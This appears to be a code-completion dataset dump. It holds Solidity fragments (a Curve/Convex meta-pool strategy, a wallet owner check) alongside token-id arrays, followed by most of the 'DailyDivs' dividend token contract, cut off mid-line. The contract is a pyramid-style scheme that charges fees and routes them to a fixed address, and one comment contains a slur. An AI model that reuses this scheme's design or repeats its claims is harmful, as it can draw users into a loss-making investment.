IERC20[NUM_META_COINS] memory tokens = _metaPoolAssetCache; uint256 total = 0; for (uint256 i = 0; i < NUM_META_COINS; i++) { // Skip over approving WETH since we are directly swapping ETH. if (i == uint256(MetaPoolAsset.ETH)) continue; if (amounts[i] == 0) continue; total += amounts[i]; // For assets like USDT, the approval must be first set to zero before updating it. SafeERC20.safeApprove(address(tokens[i]), address(metaPool), 0); SafeERC20.safeApprove(address(tokens[i]), address(metaPool), amounts[i]); } // Calculate the minimum amount of meta pool tokens that we are expecting out when // adding liquidity for all of the assets. This value is based off the optimistic // assumption that one of each token is approximately equal to one meta pool token. uint256 expectedOutput = total * CURVE_PRECISION / metaPool.get_virtual_price(); uint256 minimumMintAmount = expectedOutput * metaPoolSlippage / SLIPPAGE_PRECISION; uint256 value = amounts[uint256(MetaPoolAsset.ETH)]; // Ensure that the contract has the amount of ethereum required. if (value > address(this).balance) weth.withdraw(value - address(this).balance); // Add the liquidity to the pool. minted = metaPool.add_liquidity{value: value}(amounts, minimumMintAmount); emit MintMetaPoolTokens(amounts, minted); } /// @dev Mints meta pool tokens with an asset. /// /// @param asset The asset to deposit into the meta pool. /// @param amount The amount of the asset to deposit. /// /// @return minted The number of meta pool tokens minted. function _mintMetaPoolTokens( MetaPoolAsset asset, uint256 amount ) internal returns (uint256 minted) { uint256[NUM_META_COINS] memory amounts; amounts[uint256(asset)] = amount; // Calculate the minimum amount of meta pool tokens that we are expecting out when // adding liquidity for all of the assets. This value is based off the optimistic // assumption that one of each token is approximately equal to one meta pool token. uint256 minimumMintAmount = amount * metaPoolSlippage / SLIPPAGE_PRECISION; // Set an approval if not working with ethereum. if (asset != MetaPoolAsset.ETH) { IERC20 token = getTokenForMetaPoolAsset(asset); // For assets like USDT, the approval must be first set to zero before updating it. SafeERC20.safeApprove(address(token), address(metaPool), 0); SafeERC20.safeApprove(address(token), address(metaPool), amount); } uint256 value = asset == MetaPoolAsset.ETH ? amounts[uint256(MetaPoolAsset.ETH)] : 0; // Ensure that the contract has the amount of ethereum required. if (value > address(this).balance) weth.withdraw(value - address(this).balance); // Add the liquidity to the pool. minted = metaPool.add_liquidity{value: value}(amounts, minimumMintAmount); emit MintMetaPoolTokens(asset, amount, minted); } /// @dev Burns meta pool tokens to withdraw an asset. /// /// @param asset The asset to withdraw. /// @param amount The amount of meta pool tokens to burn. /// /// @return withdrawn The amount of the asset withdrawn from the pool. function _burnMetaPoolTokens( MetaPoolAsset asset, uint256 amount ) internal returns (uint256 withdrawn) { uint256 index = uint256(asset); // Calculate the minimum amount of the meta pool asset that we are expecting out when // removing single sided liquidity. This value is based off the optimistic assumption that // one of each token is approximately equal to one meta pool lp token. uint256 expectedOutput = amount * metaPool.get_virtual_price() / CURVE_PRECISION; uint256 minimumAmountOut = expectedOutput * metaPoolSlippage / SLIPPAGE_PRECISION; // Remove the liquidity from the pool. withdrawn = metaPool.remove_liquidity_one_coin( amount, int128(uint128(index)), minimumAmountOut ); emit BurnMetaPoolTokens(asset, amount, withdrawn); } /// @dev Deposits and stakes meta pool tokens into convex. /// /// @param amount The amount of meta pool tokens to deposit. /// /// @return success If the tokens were successfully deposited. function _depositMetaPoolTokens(uint256 amount) internal returns (bool success) { SafeERC20.safeApprove(address(metaPool), address(convexBooster), 0); SafeERC20.safeApprove(address(metaPool), address(convexBooster), amount); success = convexBooster.deposit(convexPoolId, amount, true /* always stake into rewards */); emit DepositMetaPoolTokens(amount, success); } /// @dev Withdraws and unwraps meta pool tokens from convex. /// /// @param amount The amount of meta pool tokens to withdraw. /// /// @return success If the tokens were successfully withdrawn. function _withdrawMetaPoolTokens(uint256 amount) internal returns (bool success) { success = convexRewards.withdrawAndUnwrap(amount, false /* never claim */); emit WithdrawMetaPoolTokens(amount, success); } /// @dev Claims convex, curve, and auxiliary rewards. /// /// @return success If the claim was successful. function _claimRewards() internal returns (bool success) { success = convexRewards.getReward(); uint256 curveBalance = curveToken.balanceOf(address(this)); uint256 convexBalance = convexToken.balanceOf(address(this)); SafeERC20.safeTransfer(address(curveToken), rewardReceiver, curveBalance); SafeERC20.safeTransfer(address(convexToken), rewardReceiver, convexBalance); emit ClaimRewards(success, curveBalance, convexBalance); } /// @dev Gets the minimum of two integers. /// /// @param x The first integer. /// @param y The second integer. /// /// @return The minimum value. function min(uint256 x , uint256 y) private pure returns (uint256) { return x > y ? y : x; } /// @dev Gets the absolute value of the difference of two integers. /// /// @param x The first integer. /// @param y The second integer. /// /// @return The absolute value. function abs(uint256 x , uint256 y) private pure returns (uint256) { return x > y ? x - y : y - x; } }
@notice Mints meta pool tokens with a combination of assets. @param amounts The amounts of the assets to deposit. @return minted The number of meta pool tokens minted.
function mintMetaPoolTokens( uint256[NUM_META_COINS] calldata amounts ) external lock onlyOperator returns (uint256 minted) { return _mintMetaPoolTokens(amounts); }
10,193,506
[ 1, 49, 28142, 2191, 2845, 2430, 598, 279, 10702, 434, 7176, 18, 225, 30980, 1021, 30980, 434, 326, 7176, 358, 443, 1724, 18, 327, 312, 474, 329, 1021, 1300, 434, 2191, 2845, 2430, 312, 474, 329, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 2781, 2864, 5157, 12, 203, 3639, 2254, 5034, 63, 6069, 67, 19294, 67, 3865, 706, 55, 65, 745, 892, 30980, 203, 565, 262, 3903, 2176, 1338, 5592, 1135, 261, 11890, 5034, 312, 474, 329, 13, 288, 203, 3639, 327, 389, 81, 474, 2781, 2864, 5157, 12, 8949, 87, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x08e0A7CeBB8bD6871a3433e859da10b45dd2db7b/sources/contracts/WalletFiWallet.sol
through the account itself (which gets redirected through execute())
function _onlyOwner() internal view { require(msg.sender == address(this), 'only owner'); }
7,066,468
[ 1, 10064, 326, 2236, 6174, 261, 12784, 5571, 21808, 3059, 1836, 10756, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 3700, 5541, 1435, 2713, 1476, 288, 203, 565, 2583, 12, 3576, 18, 15330, 422, 1758, 12, 2211, 3631, 296, 3700, 3410, 8284, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; /* ******************** DailyDivs.com ********************* * * ____ _ _ ____ _ * | _ \ __ _(_) |_ _| _ \(_)_ _____ ___ ___ _ __ ___ * | | | |/ _` | | | | | | | | | \ \ / / __| / __/ _ \| '_ ` _ \ * | |_| | (_| | | | |_| | |_| | |\ V /\__ \| (_| (_) | | | | | | * |____/ \__,_|_|_|\__, |____/|_| \_/ |___(_)___\___/|_| |_| |_| * |___/ * ******************** DailyDivs.com ********************* * * * [x] 0% TRANSFER FEES * [x] 20% DIVIDENDS AND MASTERNODES * [x] 5% FEE ON EACH BUY AND SELL GO TO Smart Contract Fund 0xd9092D94F74E6b5D408DBd3eCC88f3e5810d1e98 * How 5% is divided and used: * 80% to Buy Tokens from the exchange to be transferred to DDT Surplus and fund other DailyDivs Games * 20% to Dev Fund For Platform Development * [x] Only 1 DDT Token is needed to have a masternode! This allows virtually anyone to earn via buys from their masternode! * [x] DailyDivs Token can be used for future games * * Official Website: https://dailydivs.com/ * Official Discord: https://discord.gg/J4Bvu32 * Official Telegram: https://t.me/dailydivs */ /** * Definition of contract accepting DailyDivs tokens * DDT Lending and other games can reuse this contract to support DailyDivs tokens */ contract AcceptsDailyDivs { DailyDivs public tokenContract; function AcceptsDailyDivs(address _tokenContract) public { tokenContract = DailyDivs(_tokenContract); } modifier onlyTokenContract { require(msg.sender == address(tokenContract)); _; } /** * @dev Standard ERC677 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool); } contract DailyDivs { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier notContract() { require (msg.sender == tx.origin); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } uint ACTIVATION_TIME = 1538938800; // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; if (now >= ACTIVATION_TIME) { onlyAmbassadors = false; } // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "DailyDivs"; string public symbol = "DDT"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 20; // 20% dividend fee on each buy and sell uint8 constant internal fundFee_ = 5; // 5% fund tax on buys/sells/reinvest (split 80/20) uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2**64; // 80/20 FUND TAX CONTRACT ADDRESS address constant public giveEthFundAddress = 0xd9092D94F74E6b5D408DBd3eCC88f3e5810d1e98; uint256 public totalEthFundRecieved; // total ETH FUND recieved from this contract uint256 public totalEthFundCollected; // total ETH FUND collected in this contract // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 1e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 8 ether; uint256 constant internal ambassadorQuota_ = 8 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // Special DailyDivs Platform control from scam game contracts on DailyDivs platform mapping(address => bool) public canAcceptTokens_; // contracts, which can accept DailyDivs tokens /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function DailyDivs() public { // add administrators here administrators[0x0E7b52B895E3322eF341004DC6CB5C63e1d9b1c5] = true; // admin ambassadors_[0x0E7b52B895E3322eF341004DC6CB5C63e1d9b1c5] = true; // add the ambassadors ambassadors_[0x4A42500b817439cF9B10b4d3edf68bb63Ed0A89B] = true; // add the ambassadors ambassadors_[0x642e0ce9ae8c0d8007e0acaf82c8d716ff8c74c1] = true; // add the ambassadors ambassadors_[0xeafe863757a2b2a2c5c3f71988b7d59329d09a78] = true; // add the ambassadors ambassadors_[0x03B434e2dC43184538ED148f71c097b54f87EBBd] = true; // add the ambassadors ambassadors_[0x8f1A667590014BF2e78b88EB112970F9E3E340E5] = true; // add the ambassadors ambassadors_[0x6CF441B689683D3049f11B02c001E14bd0d86421] = true; // add the ambassadors ambassadors_[0xa39334D8363d6aAF50372313efaa4cF8bDD50a30] = true; // add the ambassadors ambassadors_[0xEc31176d4df0509115abC8065A8a3F8275aafF2b] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { require(tx.gasprice <= 0.05 szabo); purchaseInternal(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { require(tx.gasprice <= 0.01 szabo); purchaseInternal(msg.value, 0x0); } /** * Sends FUND TAX to the FUND TAX addres. (Remember 80% of the Fund is used to support DDT Lending and other platform games) * This is the FUND TAX address that splits the ETH (80/20): https://etherscan.io/address/0xd9092D94F74E6b5D408DBd3eCC88f3e5810d1e98 */ function payFund() payable public { uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); require(ethToPay > 1); totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay); if(!giveEthFundAddress.call.value(ethToPay).gas(400000)()) { totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, ethToPay); } } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); // Take out dividends and then _fundPayout uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); // Add ethereum to send to Fund Tax Contract totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * REMEMBER THIS IS 0% TRANSFER FEE */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /** * Transfer token to a specified address and forward the data to recipient * ERC-677 standard * https://github.com/ethereum/EIPs/issues/677 * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) { require(_to != address(0)); require(canAcceptTokens_[_to] == true); // security check that contract approved by DailyDivs platform require(transfer(_to, _value)); // do a normal token transfer to the contract if (isContract(_to)) { AcceptsDailyDivs receiver = AcceptsDailyDivs(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); } return true; } /** * Additional check that the game address we are sending tokens to is a contract * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) private constant returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the ambassador quota is not met, the administrator can manually disable the ambassador phase. */ //function disableInitialStage() // onlyAdministrator() // public //{ // onlyAmbassadors = false; //} /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * Add or remove game contract, which can accept DailyDivs tokens */ function setCanAcceptTokens(address _address, bool _value) onlyAdministrator() public { canAcceptTokens_[_address] = _value; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } /** * Function for the frontend to show ether waiting to be sent to Fund Contract from the exchange contract */ function etherToSendFund() public view returns(uint256) { return SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ // Make sure we will send back excess if user sends more then 2 ether before 200 ETH in contract function purchaseInternal(uint256 _incomingEthereum, address _referredBy) notContract()// no contracts allowed internal returns(uint256) { uint256 purchaseEthereum = _incomingEthereum; uint256 excess; if(purchaseEthereum > 2 ether) { // check if the transaction is over 2 ether if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 200 ether) { // if so check the contract is less then 200 ether purchaseEthereum = 2 ether; excess = SafeMath.sub(_incomingEthereum, purchaseEthereum); } } purchaseTokens(purchaseEthereum, _referredBy); if (excess > 0) { msg.sender.transfer(excess); } } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends), _fundPayout); totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != msg.sender && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - 